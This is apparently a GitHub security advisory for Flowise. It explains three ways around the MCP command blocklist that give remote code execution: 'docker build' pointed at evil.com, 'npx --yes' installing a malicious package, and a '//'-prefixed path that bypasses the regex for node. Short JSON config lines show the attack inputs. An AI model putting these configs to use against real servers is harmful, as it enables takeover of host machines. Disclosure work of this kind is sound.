GHSA-m99r-2hxc-cp3q: Flowise has an MCP Security Bypass that Enables RCE
SummaryThere are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methodsDetails【Vulnerability  one】The Docker build subcommand not being on the blocklist leads to remote code executionThe attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration 
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machinePrecondition:Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflowsThe deployment environment has the docker commandVulnerable function - validateCommandFlags:Reproduction process:Add MCP config via UI or API interface, for example:Then execute:After execution, the command can be triggered to execute docker build http://evil.comIf a privileged container is deployed, then it can fully control the Flowise host machine【Vulnerability  two】 npx --yes long parameter alias bypassing blocklist leads to remote code executionThe attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} 
→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes
→ npx --yes malicious-package automatically agrees to install and execute any npm package
→ Leads to remote code execution (RCE) on the serverPrecondition:Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflowsThe deployment environment has the npx commandnpx blocklist:Reproduction process:
Add MCP config via UI or API interface, for example:Contents of the tar file:Then execute:can trigger the vulnerability, execute the attacker's commands, and achieve RCE:node command bypassing local file restrictions leads to remote code executionWhen configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} 
→ Bypass the security restrictions of validateArgsForLocalFileAccess 
→ Node process loads local files and executes arbitrary code → RCEPrecondition: 
Have a Flowise accountAnalysis of Vulnerable Code:The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issueAs the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')Therefore, the limitation of this function can be bypassed by starting with //** Reproduction process: **Create a new chatflow as follows:After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directoryorgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:For example:Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:After obtaining the absolute path, simply modify the path in args to the path of the file name:After saving, execution will trigger RCEImpactThis vulnerability allows attackers to execute arbitrary commands on the Flowise server .
CVSS v4.0: 8.7